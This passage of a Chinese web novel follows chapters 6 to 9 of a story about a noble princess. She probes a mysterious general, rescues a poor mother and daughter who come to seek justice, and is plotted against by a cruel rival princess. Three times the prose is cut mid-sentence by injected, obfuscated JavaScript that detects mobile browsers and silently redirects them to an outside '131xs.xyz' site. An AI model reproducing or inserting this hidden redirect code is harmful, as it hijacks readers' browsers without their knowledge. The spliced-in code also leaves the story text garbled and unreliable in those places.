肩颈附上一双手,落棋轻柔地为萧新棠按揉着,也不多说,萧新棠放松地向后靠着,享受着舒服的力道,酸疼渐消。 室外天光大亮,李花清香如烟如雾,丝丝飘进中庭,倚靠着的小郡主眉眼松惬,往日上扬的眼尾柔和地舒展着,唇边笑意浅淡。 不似烈日下的棠棣花,倒似春日中,扑腾玩耍后,摊在花丛间休憩的猫儿,如画中一般美好。 虞赋野一出来,见到的便是这样一副场景,他的眉眼也不自觉得柔和,深深地望着萧新棠,眸中再无旁人。 他正待上前,萧闻松也跟着出来,看见躺着的妹妹,人未至身前,那一嗓子便先至耳边。 “棠儿,怎得这般没精神,要不要陪哥哥去后头校场练练?让我看看你这些年在京城可有偷懒。” 落棋停下动作,萧新棠颇有些头疼,坐直身子,一脸生无可恋地看着哥哥。 自家兄长好是好,就是当年不知生出来的时候,娘亲吃了什么好东西,是个练武奇才也就罢了,还致力于让她也一块习武,想养出个十八般武艺样样精通的妹妹,从小到大见天了让人陪他练练。 白天练,晚上练,从三岁开始,萧新棠每天都能被哥哥催着练武,偏偏她身子骨确实不算好,习武中不是这里磕了,就是那里肿了,爹爹心疼她,少不得哥哥就得挨一顿打。 有次她学轻功时不慎从假山上摔下来,摔断了腿,当天晚上国公府一条街都能听到,国公爷揍儿子的声音。 这会哥哥打仗三年,回来第二天还是练武,萧新棠抬头望天,却只看到雕着瑞兽的屋顶,不能透过木头看到天空,就像她看不到,自家哥哥什么时候能对习武失去喜爱。 正待拒绝,后面的虞赋野突然出声,“老吴他们昨日刚安顿好,许是会有些不适应,将军今日不妨去检阅一番。” 萧新棠闻声,心底一动,这家伙是在为她找借口?水平倒是不错,哥哥既去了军营,这几日都得忙起来,必然不会再叨叨着练武,军营那些个将军就够他训的了。 她面色逐渐缓和,也不似之前那般刻意忽略他,而是接着话茬道:“是呀哥哥,有些将士还是初次入京,你身为主帅,这个时候可得过去安抚军心的。” 萧新棠双手拽着哥哥的袖子,左右晃了晃,一派撒娇模样。 虞赋野在一旁,默默看着这一幕,颇有些无奈,也不知要等到何时,棠儿才能如此熟稔地与他相处。 萧闻松可不是毛头小子,哪里不知妹妹是在犯懒,索性也由着她,右手抬起,摸了摸萧新棠的头,温声道:“行了,属下呢,这就听着郡主大人的命令,去巡视军营了。” 萧新棠嘴角的弧度还未完全绽开,只听那方才还一脸和气的哥哥,恍若恶鬼轻语:“棠儿放心,我巡视军营速度很快的,未时左右便会归家,棠儿在家好好等着哦。” 萧新棠瞬间换了副神色,面无表情,手上松开袖子,双掌使劲,一齐将萧闻松往外推,萧闻松也配合着,边往外处去。 他还放声大笑,甚至用上了轻功,一转眼就跑得没影了,连着萧新棠刚攥起预备砸人的果子,也没了用武之地。 果子丢给落棋,萧新棠气得狠狠磨牙,一转头见者边上还有个人,想起了元三提到的首饰图,顿时更加心烦,没好气地道:“怎么?主帅都走了,虞将军还等着吃了年夜饭再去吗。” 虞赋野垂眼,心知这是被迁怒上了,心中虽有些疑惑萧新棠今早的态度,但也不打算触这个霉头,便拱手行礼,爽快离开。 萧新棠看着他远去的身影,心中却是越发不忿,昨儿个给心上人打首饰的事,都未到她面前解释,现今说两句便走了,果真是个讨厌的人。 “落棋,叫上扬琴,随本小姐去乐舍听曲!” 心思深的男人她也懒得猜了,有这时间,倒不如多听听舞乐姑娘的琴音,教人舒心又自在。 一众人出了门,萧府一处侧门处,一个小丫鬟悄悄出来,手里的信纸递给一个小厮,便又悄然回府。 * 纵马掠过珍玉楼,虞赋野心中算着海棠玉簪的工期,若是足够快,也许还能赶得上宫中宴会。 他想着萧新棠戴上玉簪的模样,丝毫不知,由于掌柜取图太快,方向倾斜,元三根本没看到那首饰图样,现今一主一仆都以为,他还有别的心上人…… 与此同时,巍峨耸峙的皇宫内。 鸾粹宫中,宫人们分拣着各类玉玩,主位上,七公主赵思薇双目微阖,慵懒地听着庭中丝竹声,手中玉珏滑落榻上,神情松懈,似要深睡。 忽然,一阵尖利刺耳的响声骤起,弦断乐停,琴师瞬间跪地告罪。 四周侍卫肃然站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396742|184309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立,两边侍从上前,按住琴师。 “公主!公主饶命……”惊惧的琴师一下又一下磕头,不到片刻,堂中已有血痕。 赵思薇悠悠睁开眼,手腕轻抬,玉珏飞出,直击跪地琴师额头。 顷刻间,血流如注,但琴师不敢哀嚎一声,一众乐师尽皆跪地不语,心中哀叹,七公主向来不喜吵闹之人,这人怕是性命不保了。 “来人。” “在”侍卫应声。 “拖下去,断他双手喂给小默,至于其他的,剁了做花肥。”温软声音响起,却是宣告了琴师的死期。 “是。” 侍卫上前,架起瘫在地上的琴师,乐师惧于死亡,正要开口求饶,一侍卫眼疾手快,卸了他的下巴,将人抬走,四周仆人迅速上前擦地。 听到同僚的下场,众乐师俯得更低,赖以生活的双手去喂狗,甚至死后全尸都不曾留下,他们心中只觉寒意更甚。 可这又能有什么办法呢,在权贵面前,他们都是命如草芥之辈,算不得人。 赵思薇看着众人,轻呲一声,只觉得没意思,抬手一扫,:“接着奏乐,本宫还没听够。” “是。” 众乐师起身,继续奏乐,乐声依旧,只是比起方才,多了丝说不清道不明的哀意。 一个年纪尚小的乐师双手微微颤抖,他还是第一次见到这样的场面,今日顶着师兄的班来,方才还好好的人,瞬间没了性命,他心中惧怕不已,牙齿发颤,抖如筛糠。 一旁的乐师见他神情,焦急不已,想要阻挡,但也有心无力。 眼见着小乐师手指一颤,将要弹错一音,殿外一人低头走入,乐声一静,众乐师心中一轻,还好,这孩子躲过一劫。 公主近侍挥了挥手,老乐师听从命令,一众人尽皆退下,旁边的乐师偷偷凑近,给那小乐师狠狠揪了一把。 小乐师浑身一抖,知道老师在提醒他,赶忙稳定心绪,不敢再多想,低头跟着人群鱼贯而出。 主位上的人并未注意这些小动作,赵思薇看完了手下呈上来的信件,不由冷笑:“我倒是小看萧新棠了,前不久刚把贺知循打成那样,这几日竟又与这个虞赋野来往甚密,萧家这是准备招婿上门了?” 跪在地上的亲信亦是不解,“属下与萧府暗桩联系,听得她说着那日大军入城,虞赋野接的花便是昭言郡主丢下的,府内还有传闻,郡主心悦虞将军,但那位虞将军却另有心上人,军中都道他此次回京,是要向陛下求一道赐婚圣旨,与心上人完婚。” 赵思薇闻言放声大笑,眸中溢满了嘲意,“竟是这般有意思,咱们这位郡主莫不是天定的煞星,怎的喜欢的一个又一个,都是对她无意之人,哈哈哈哈哈。” 赵思薇越笑越是激动,眼角都溢出了泪珠,好一会才渐渐收敛,拿出丝帕拭泪,有些气喘道:“既是如此,阿玉,你替本宫写份信送给贺知循,就说我想他了,希望在宫宴与他见面,再送些药材补品过去,本宫一定要在宫宴上见到他。” “有趣,这可太有趣了,贺知循是本宫的狗,虞赋野还要向父皇求旨赐婚,阿玉你说说,宫宴那天,萧新棠会不会哭着回家呀。” 下首的宫女阿玉也面带笑意,附和道:“恐怕自此以后,那位郡主再也不敢入宫赴宴了。” 主仆二人相视一笑,赵思薇心中恶意迭起,她已经迫不及待,想见到萧新棠泪撒皇宫的场景了,既然阻了她的路,就得做好出局的准备。 7. 第 7 章 另一边的乐舍中,被人惦记着的萧新棠,正悠闲地躺在贵妃塌上,娇艳动人的舞姬,伴着乐声翩翩起舞,丫鬟端着酒杯和果盘,肩膀上一双仿若柔若无骨的手,轻柔地按捏,香气氤氲,一派奢靡。 萧新棠眯着眼,闲适地享受着,手指伴着拍子,一下下敲着。 舞乐打开门进来,看到的便是这幅富贵糜烂的景象,她眉头一皱,屏退服侍的人,待人都走干净了,自个拿了个凳子,坐在萧新棠面前,两眼直直盯着她。 “外头传着你私下不讲究,你倒还真装上了?”舞乐顺手端起果盘,不客气地摘着葡萄吃。 顶着这灼热的视线,萧新棠也不好再睡,只得睁开眼,坐直身子。 “那能怎么办呢,京城危机四伏,我一个弱女子,名声差些能保命呢。” 萧新棠装着柔弱,轻轻地靠着舞乐的肩膀,嘴里漫天胡诌,活脱脱的小可怜模样。 舞乐被她弄得恶心,浑身一哆嗦,嘴里的葡萄都没味了,一手直接把萧新棠的头推回去,嘴里毫不留情道:“你这幅样子还是去你哥面前装着,别搁这消遣我,再啰嗦一句就直接把你赶出去,还竖个招牌,上头写着‘萧新棠与旺财不得入内’。” 好友快要急眼了,萧新棠也不闹了,靠回榻上,一脸正色道:“关于虞赋野,你查出多少?” 舞乐掏出一叠纸,递给萧新棠,有些不确定地回道:“能查到的都在上头了,和之前的消息没什么出入,你与我所说的,同上面的描述,没有一条对得上的。” 她停下话头,思索一瞬,又接着说道:“只有一条对得上,他的样貌确实如信中一般,颇为出色。” 萧新棠垂下眼帘,看着信件,心中想法百转千回。 信上写着虞赋野是个孤儿,在虞家村吃着百家饭长大,个性懦弱,身无长技,只在学堂帮过几天工,学了些字,肚子里没什么墨水,几年前边境战乱时,说着要出去找活干,便再未回乡,等到再有消息的时候,便是入了军营,成了兄长座下先锋将军问及具体形貌,村民只说长相俊逸,却道不出具体情况。 这一条条描述,与她所认识的虞赋野相去甚远,这人非但不懦弱,还行事无忌,武功高强,虽有些内敛,实则这通身气派,非王侯将相之家养不出来。 场面一时有些沉默,萧新棠思绪有些混乱,外貌对得上,性格天差地别,还能知晓未来的事情,她一时不敢肯定,住在同一屋檐下的人,内里究竟是人是鬼。 既然她都能有预知梦境,虞赋野也有可能并非是真正的虞赋野,萧新棠本来不信鬼神,自从那一场梦,虽然她仍然不会迷信那些神乎其神的东西,但也确认了世界上还有着许多未能探知的力量。 她兀自思索,舞乐见状,也没有出声打扰,吃完葡萄又捡着糕点吃,边吃边说:“你也不用多想,万一这人就是被鬼上身了呢,就像话本里说的那样,一夜之间性情大变什么的。” 萧新棠闻言神色一凝,“被鬼上身”“性情大变”,这几个词在她脑海中回荡,她瞬间想通了其中关窍。 忽然,啪的一声,舞乐一口糕点还没咽下去,险些呛到,急忙灌了几口水,这才好歹咽了下去。 她正待回怼,只见萧新棠攥着信纸一拍桌板,神色恍然,似是明悟,嘴里喃喃自语着什么“我知道了”,反而跟个真被鬼上身了似的。 舞乐伸出手,在她面前挥了挥,萧新回神,攥住眼前的手,一脸激动地看着舞乐:“小五,你说得对!你可帮了我大忙了!” “咋啦咋啦?我帮你啥了,我怎么不知道呢?”舞乐有些发懵,看好友就像看傻子。 “这你就别管了,反正你就是帮了我大忙了。” 心中有了想法,萧新棠当即便想尝试,收拾好东西,把信件塞给舞乐,一阵风似的出了门。 珠串碰撞叮叮当当,舞乐都来不及叫住她,人就没影了。 她挠了挠头,拿起一块云片糕塞进嘴里,皱着眉头自言自语:“她到底明白了啥呀。”又看了一眼手里的东西,舞乐颇有些丈二和尚摸不着头脑,这也不说还查不查,白瞎她的干的这些活了。 不再管那个没良心的人,舞乐盘着腿旁若无人地啃糕点,嘴里还在嘀咕:“也不知道萧大哥出去多年,有没有变模样呢,死丫头跑得真快,都没来得及问……” 萧新棠从乐舍出来,径直上了马车,回身吩咐道:“去城外定西军营地。” 道旁百姓散开,一行人浩浩荡荡地朝着城外而去。 乐舍旁一处拐角,一道身影静立,注视着华丽的马车走远,下一瞬人影消失,细不可闻的话语飘散在空气中。 “开始了……” * 马车上,萧新棠还有些兴奋,畅想着等到了军营,她将虞赋野叫到僻静处,直接揭露他的身份,那时这个装神弄鬼的家伙肯定会大惊失色,可不敢再在她面前,显着一副神秘的样子。 落棋在一边分着糕点,余光瞥见小姐兴冲冲的样子,也不由失笑。 吱嘎一声,晃晃悠悠的马车忽然停下,前面也有些争执声传来,落棋放下糕点,朝着车外问道:“李叔,怎么突然停下了?” 萧新棠也撩起窗口的帘子,朝着前面望去,耳边响起车夫的回话。 “小姐,前面似是有个老妇人倒在地上,挡住出城的队伍了,边上许是她的女儿,求着一边的护城军通融通融,让她们进城来。” 萧新棠闻言,眉头一蹙,不解道:“平日里,就算没有路引,交些银子,守卫也是能通融的,怎的今日不行。” 一旁的落棋目力好,看清了人群中的母女,补充道:“小姐,这二人衣物破旧,许是拿不出入城的银钱。” “是啊,这几日因着宫宴,入城查得严了不少,前几日我那邻儿家的孩子没带路引,还是让大人家接回来的。”李叔接着道。 话音刚落,身边车帘一动,戴着帷帽的萧新棠由落棋扶着下车,李叔赶忙也下马,跟着小姐,嘴里不住地劝道:“小姐,您怎么下来了,前边人多嘴杂,万一有哪些不长眼的,冲撞了小姐可如何是好……” 萧新棠边走边回道:“李叔,我们萧家就没有看着百姓在眼前受苦的习性,这老夫人许是走投无路,来此投奔亲戚,若是让人倒在皇城脚下,岂不是令我齐国百姓心寒!” 李叔仔细一想,也不再多言,与随从一起驱散围拢的人群,防着有人伤到小姐。 人群中央,一位面容苍老,衣衫褴褛的妇人瘫在地上,气息微弱,双眼微阖,边上的小姑娘跪在地上,两手托着妇人的上身,一面不住向官兵求情,眼泪和汗水洇湿地上的沙土,留下了明显的印子。 官兵四处驱散百姓,为首的头儿拿着兵器,既不能当着这么多人的面,强行驱逐两人,又囿于接到的命令,不敢放行,一脸嫌恶地大声斥责着。 眼见着妇人的呼吸微弱,小姑娘不由放声大哭,她没有办法救自己的母亲,也没办法带着母亲离开。 泪眼婆娑间,一抹亮色闯入视野,边上的骂声没有了,白底红纹的手帕递到眼前,苏园一时止住了哭声,收回只手抹一把眼泪,这才看清面前的人。 一个戴着帷帽的小姐站在她面前,弯着腰给她递帕子,穿着她只在钦差夫人身上见过的,极为华贵的料子,周身似乎都带着光。 这难道就是阿娘常说的菩萨吗?见到菩萨了,她是不是也快要死了…… 周遭百姓见者来人衣着不凡,尽皆散去。 看到小姑娘发愣,萧新棠索性直接蹲下,拿着帕子给她把脸上的水痕和泥土擦干净,一旁的李叔自觉上前诊脉,对着萧新棠点头,准备接过老妇人。 察觉到手上的拉扯感,苏园瞬间回神,使劲攥着母亲的衣服,一下一下地向前磕头:“贵人小姐,我们马上走,不要带走我娘,我们现在就走,求求贵人不要带走我娘!” 李叔当即停下动作,萧新棠一兜手,接着往地上磕的脑袋,柔声道:“小姑娘,我们是准备带你母亲去医馆看病,你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396743|184309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起跟着去,不会伤害你们的。” “可是……我们没有路引,进不去城的。”苏园麻木地回道。 “小妹妹,这你就不用担心了,我家小姐是国公府的昭言郡主,皇宫都去得,带一对母女进城还是可以的。”落棋与守城官兵交涉完,同领头的校尉过来,顺嘴也回了一句。 校尉上前,朝着萧新棠行礼,道:“卑职城防校尉刘悟,见过郡主,恭请郡主金安,郡主若是想带这对母女进城,卑职可以派几人给郡主搭把手,边上营房还有板车。” 苏园呆呆地抬头,方才一脸厌烦,丝毫不留情面的校尉,如今神情敬畏地躬身行礼,还自愿帮忙带她们进去,这一切都不是在做梦,她的眼眶再次濡湿,真的有人来救她们了,她紧紧地抱住母亲,心底的悲伤中涌现出喜悦,阿娘,我们有救了,阿爹也有救了。 萧新棠无奈地看了一眼落棋,这丫头恨不得把她的身份昭告天下,下次不应该戴帷帽,应该给落棋带个嘴帽。 她抬手示意校尉不必多礼,看着李叔接手,扶着老妇人,有看了一眼边上的板车,继而道:“刘校尉的好意本郡主心领了,只是这板车坚硬,老夫人身体有恙,怕是用不得,就请校尉的手下搭把手,一同将她抬到马车上。” 刘悟一时睁大眼睛,急忙说道:“郡主,那可是您的马车,这不合规矩。” 萧新棠本身就对这些人见死不救的事十分恼火,闻言便有些不耐,语气微沉:“我身为郡主,食百姓禄,我萧府当年也是从百姓中起军,随太祖征战天下,若是为着这所谓的规矩,连百姓的安危都不顾,我怕是愧对萧家女的身份。” 刘悟听得此言,赶忙跪下告罪,一旁的兵将也与李叔一同,将老妇人抬上马车。 萧新棠并未立刻让他起来,而是走近一步,看着跪地的人道:“我知你刘家是谁的人,这守城的官职是个肥差,平日里你们收些银子也就罢了,但这也是天子脚下,这次是没出什么大事,若再有下次,百姓倒在我照京城门前,而守城官兵漠然不顾,可别怪我萧府不给你身后之人留情面。” 跪着的刘悟闻言,背后激起一阵冷汗,他们刘家也就是攀上了权贵才有的今日,要是让人知道他得罪了萧府,怕是整个刘家都得吃瓜落,他只得连连磕头告罪,等到马车走远才敢抬头。 一行人在城门口回转,到了回春堂方才停下,看着随从将人送到医馆,萧新棠想了想,也一同进去。 苏园眼眶泛红地站在一边,看着躺在床上的母亲。 老大夫几针下去,躺着的人渐渐醒转,朦胧间,她抓着身旁女儿的手,宽慰着:“园园别怕,娘没事,不怕啊园园不怕……” 话音渐小,老夫人再次昏睡,苏园强忍着哭意,同老大夫回到中厅,老大夫在案桌上写药方,苏园对着坐着的萧新棠,直接跪下磕头。 “哎,这是干什么!” “多谢贵人,今天要不是贵人,我与母亲怕是都得死在这里,多谢贵人搭救。” 萧新棠一时手慢,没拉住这小姑娘,却不想小丫头看着瘦小,劲儿倒是挺大,她居然没拉起来,愣是看她磕了三个头才起身。 她也有些不太好意思,只得找点话来堵着,免得小丫头又开始磕头,“小姑娘,你叫什么名字呢,我见着你们的衣裳,不像是北边的。” 苏园顺着恩人的力道坐下,一脸正色地道:“贵人,我叫苏园,紫苏的苏,菜园子的园,我和阿娘是从南边的夙安城过来的。” 萧新棠手上拿着杯子,正要给小姑娘倒杯水,骤然听到这个名字,不禁动作一顿。 这个名字,怎么这么耳熟呢?她可没去过这个叫夙安的地方,为何会觉得熟悉。 萧新棠垂下眼帘,眼眸流转,余光瞥见了一旁的草药,顿时脑海中所有思绪都呆住了。 她想起来了,当下她没听说过,但一年后她曾在贺府,看到过从夙安来的信件,上面写着夙安知县一夜间被人灭门,全府死于中毒,下毒者的名字,就是苏园! 8. 第 8 章 苏园正准备继续说,忽然见着恩人表情一变,立刻问:“恩人,怎么了?” 面前的小姑娘身材瘦小,头发也是干枯偏黄,俨然是过着苦日子的孩子,萧新棠想起方才李叔说的,苏园的母亲脉象微弱,气血两亏,二人皆是苦命人。 又会是怎样的变故,会让一个孝顺又怯懦的小姑娘,犯下灭门的案子呢? 她敛下思绪,唇边扬起温和的笑,“无事,只是突然想起,家中药庐的大夫前几日提过,想带个徒弟,帮着打打下手,府中下人待遇尚可,银钱也是足以养家的,若是苏姑娘与母亲暂无去处,不妨到萧府来,也算是有个落脚之处。” “哎呀,你别哭呀!” 萧新棠的话还没说完,边上的小姑娘又开始眼眶泛红,一点点地掉眼泪了,可给她吓一跳。 这丫头怎么眼皮子这么浅,动不动就哭呢,她急忙准备拿落棋的帕子给苏园擦脸,谁承想小姑娘自己掏出萧新棠在城门口给的帕子,利落一擦,扑腾一声又跪下了。 萧新棠已经有些麻木了,南边的百姓,道谢都喜欢跪着吗? “谢谢贵人,我和阿娘在京中没有亲戚,原先想着在城里找个巷子角,能住的就行,只是阿娘身体实在没办法,多谢贵人愿意收留我们,贵人放心,我以前在家中学过些医理,会辨认草药,一定会将贵人派的活计都做好的!” 听到苏园会懂得药草医理,萧新棠的心不由沉了一分,看来真的是她…… “既然都要到府中干活了,怎么还叫着贵人呢?”萧新棠心中思绪翻涌,面上仍不动声色地打趣道。 苏园还有些没回过神,呆愣着,一旁的落棋悄悄攥了一下她的一角,轻声提醒:“要叫小姐。” 小姑娘这才反应过来,一脸感激地望着萧新棠,大喊一声:“小姐好!” 四周的随从都被她这一嗓子吓了一跳,落棋脑门一麻,赶紧松开手,兀自低头,可不敢看自家小姐现在的表情。 萧新棠忍受着边上人的注目,心里恨恨给落棋记了一笔,颇有些头疼,这是给府里招了个喇叭回去,希望到时候莫师傅不要怪她。 一行人收拾齐整后,照旧将老夫人安置在马车上,萧新棠和苏园一同坐在里面。 不同于赶往医馆的那段路,苏园一扫先前的阴霾,攥着母亲的手小声诉说着经过,母女二人俱是感激地望着萧新棠,似是要将她当做仙人一般。 萧新棠只得偏头看向窗外,躲避这灼热的视线,还好路途不远,没多久就能到萧府了,要是再久一些,她怕是能被二人的眼神烧秃噜一层皮。 等到了府里,落棋和扬琴带着母女二人先下去安置,熟悉府中规矩,萧新棠一人回了房间。 她打开早已翻开数次,有些起毛边的纸张,心中有些不安。 梦中那一世,她只是见到了案件卷宗,并不认识苏园,亦是从未去过夙安,若梦中犯下命案的,就是她带回府的小姑娘,那梦中今日,她们母女也应该出现在了照京城外。 萧新棠了解守城门的都是些什么人,眼睛只会向上看,对底下的百姓视而不见,梦中的她此时还与贺知循浓情蜜意,赫然不知发生在城门口的事情,苏园母亲怕是根本没熬过这一劫,直接去了,而留下的苏园,最终回到了夙安,成了亡命徒。 纸张折叠好,复又被她放进来原位,萧新棠缓步走到窗边,阳光下的亭台水榭自成一趣,花树下点点粉白吹落。 下人们有条不紊地做着自己的活计,一切都是美好的景象,能够活在阳光下,谁又会愿意双手沾血,惶惶不可终日呢。 萧新棠不知道回家后的苏园发生了什么,会走上那样一条路,她只知道,也许从今日开始,苏园也会像她一样,脱离那原定的命运,走上一条不一样的路。 收回心中万千思绪,萧新棠想了想,转身向药庐走去。 药庐前院,苏园已经换了一身干净的衣裳,收拾齐整,蹲在旁边看莫师傅晒草药。 余光瞥见了萧新棠的身影,她兔子似的蹦起来,利落地行了个礼,乐呵呵道:“小姐好!” 萧新棠看着她这孩子气的模样,唇角也带着明显笑意,轻轻拍了拍她的肩膀,问道:“这里的环境还可以吗?有什么需要的可以告诉落棋她们,府上干活的都一样,不会亏待你们的。” 苏园点头应是,嘴里一个劲说着萧府的好处,神情没有一丝阴霾。 二人顺着石径,走到石桌旁,萧新棠坐下后示意苏园也坐,苏园表情有些畏惧,忙摆手推拒。 “在萧府没外边那么多规矩,坐下说,你这样站着我抬头很累。”萧新棠一手支着脸颊,一手指着石凳催促道。 苏园这才安心,甫一坐下,就听到萧新棠的问话。 “之前忘记问了,你先前说在京中没有亲戚来往,那这次与你的母亲一起,从南边来京城,可是有什么要事?” 刚坐下的人又唰地起身,利落地准备跪下,萧新棠早有准备,一抬腿就抵着苏园的膝盖,愣是给人踹回了位子上。 苏园懵懵地扶着桌子,一脸惊疑地望着萧新棠。 “有事说事,不要动不动就跪,你家小姐我不喜欢看人跪着讲话。”萧新棠随手摘了枝花,扒着花瓣边道。 只听道对面的人,怯生生地道出了实情:“禀小姐,我和阿娘来这里,其实是为了报官。” 萧新棠不解问道:“每处县域都有自己的知县官员,怎的还需要来京城申冤,你莫不是想告御状?” “是,小姐,我就是要告御状!” 萧新棠停下手,抬头盯着眼前的小姑娘,苏园接着道:“我们一家,原先是四口人,父亲和哥哥在外帮工扛货赚银子,我与阿娘在家中织布卖钱,日子颇为过得去。 “谁知一日晚间,码头的工人都回家了,父兄还未归家,阿娘出去找人,工头只说父兄早就下工回家了,没在那处,我与阿娘找遍了村子,也没有父兄的踪迹,直到过几日准备报官时,才知道临近几个村子都有人失踪,好几户同我家一样,男子都不见了。” “我们几户互相帮衬,一同去县衙报官,知县老爷根本不听我们的冤情,直接将我们打出来,有一户只留下了一位老娘,被那天杀的衙役一脚踹中心窝,当场便不行了。” 说着说着,她的声音渐渐染上了哭腔,“我和阿娘实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396744|184309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在没办法了,那些衙役还记下了我们家中的位置,时不时去要些银钱,父兄还未寻到,家中已是揭不开锅了,边上的县里也不管这些事,左右找不到的不是他们那地方的,我们走投无路,只能上京来,博一个申冤的机会。” 萧新棠听一句,神情便凝重一分,待到话音落下,“咔擦”一声,手中的花枝断成两节,她努力平息怒意,用尽量和缓的声音道:“那现在你还想告御状吗?” 苏园怔怔地盯着地上的花瓣,过长的额半遮着眼睛,轻声回道:“如今这情形,父兄也许……也许早就不在了,阿娘的身体也扛不住这些刺激了,我只剩下阿娘了,不想再看着阿娘倒下了……” “以后我们就在小姐府上做活,到时候攒些银子,给父兄在家里修个衣冠冢,好好供奉,也让阿娘能好好活着。”她抬起头,倔强地与萧新棠对视。 却不知,即使嘴上说着的话再云淡风轻,萧新棠还是透过模糊的泪光,看到了那双眼睛里的不甘心,她不甘心就这样忍下家人失踪的遗憾,忍下对那些官兵的怨恨。 萧新棠闭了闭眼,心道果然,梦里的苏园会走上绝路,并非没有缘由,试想谁人又能忍下这些苦楚,而不报仇呢,连她这个局外人,都已经忍不下去了。 “这件事你先暂且放下,既然你已经是府上的人了,我们萧家自然会护着你们周全,我会派人去夙安查找你父兄的踪迹,若是有消息,必会第一时间告知。” 苏园听着这话,眼泪顿时止不住地流,她原先已经放弃希望了,没想到小姐居然愿意帮忙,小姐是郡主,肯定很厉害,说不定真的还有寻到父亲和兄长的可能。 把一个劲给她道谢的小姑娘打发走了之后,萧新棠垮下脸,眉眼间俱是怒色,她一挥手,一道身影闪出,静立在一旁。 “方才的话,都听到了?” “听到了。”暗影回应。 “夙安县壮丁失踪的缘由,夙安知县后边的势力,七日后我要看见结果。”萧新棠冷着脸吩咐道。 暗影收到任务,行礼退下。 另一边,萧新棠没去成的西北军军营,演武场正在进行一场比斗。 只见一黑一白两道身影你来我往,俱是赤手空拳,白影重拳挥出,连带着风声呼啸,黑影化拳为掌,施以巧劲,以绵化刚,双方打得有来有回。 四周围着刚训练完的士兵,好几个都撸起袖子大声给台上的人鼓劲。 “将军上呐!给他一拳!” “呔,虞哥虞哥!右边右边!啊不,左边!” 又是几个来回,萧闻松正要砸到命门,却不想虞赋野虚晃一枪,回身三指扼住了他的喉咙,略胜半招。 既是分了输赢,二人也停下动作,萧闻松挥退围着的这群兵痞子,和虞赋野互相馋着到浴房去。 “你小子,功夫见长了,阴招不少啊。”萧闻松促狭道。 “兵不厌诈,还是将军让了几分余地。”虞赋野浑不接招,只是应承回道。 等到收拾齐整了,一将一兵坐在营帐外,萧闻松看着远处操练的兵将,冷不丁开口道:“赋野,你应该也知道,我为何要让你住进萧府吧。” 9. 第 9 章 萧闻松说得笃定,他很清楚,虞赋野明白他的意思。 虞赋野点头,虽说心中想的是将军给了他一个接近新棠的机会,此话断不可直接说出来,便一脸正色道:“嗯,西北军需要一个主帅,但你终究要回京承袭爵位,将军此举,是想让我以后接管西北军?” 萧闻松很满意他的机灵,目露赞赏道:“不错,你从军三年,我也看了三年,其他人要不就是勇猛有余,智谋不足,要不便是满腹心思,缺了一分冲劲个,唯有你啊,赋野,我在你身上看到了一位将才该有的能力,西北若是由你主帅,我大齐西境便可再无后顾之忧!” 萧闻松越说越激动,甚至还起身拍了拍黑衣小将的肩膀,眼里全是期许。 虞赋野心里难得生起了一丝不自在,眸光一侧,避开萧闻松的视线,沉吟几许,才开口:“只怕赋野有负将军所托。” 站着的人一听这话,顿感不妙,萧闻松连忙坐下,有些急切地问道:“怎么了,你有什么顾虑可一一道出,若是萧某力所能及的,必不会让你为难。” 手下沉默不语,绝望的萧将军带着一丝犹疑:“莫非,你不打算回西北了?” 虞赋野颔首,算是无声的回应。 若是此时让萧闻松知道他觊觎他的妹妹,恐怕便不是去不去西北的问题,怕是他再也进不了萧府的门了。 见此情形,萧闻松还不死心,“赋野,虽说西北是苦了些,但那处也是个建功立业的好去处,凭你的本事,不出几年,多赚些军功,封侯拜相也是指日可待,年纪轻轻就该去闯闯。” “我知将军的好意,只是虞某胸无大志,只想着与心上人好好过这一辈子,她金枝玉叶,合该在京中这繁花簇锦中娇养,若是我与她成婚,必不舍得让她去受那罡风黄沙的磋磨。” 谈及心上人,虞赋野的表情柔和下来,眼里也蕴着暖意,任谁看了都不好再劝。 萧闻松无奈扶额,心中颇为无语,这好好的一员猛将,没成想竟是个没出息的憨货,一门心思只想着情情爱爱,总不能叫着兄弟去西北,把人的爱情也搞丢了,也罢,实在不行,另寻他人便罢。 此路不通,萧闻松便换个话题,神色颇为严肃道:“你既是想留在京城,此次宫宴受赏还需左右走动一番,这几日为的此事,朝中已经吵了好几次,那些个世家勋贵,都想着在京中安插人手,贺府那位,近日与三皇子来往甚密。” 虞赋野回道:“贺府与三皇子有些铁矿上的交易,近日由贺知循接手的货出了问题,他们正四处寻货。” “你怎么知道的这么清楚?”萧闻松有些惊讶,私下售卖铁矿,严重的可是杀头的罪名,各家都把这事藏着掖着,虞赋野居然也能查出来,明明是朝初次入京,听他这意思,倒像是对京中之事知之甚详。 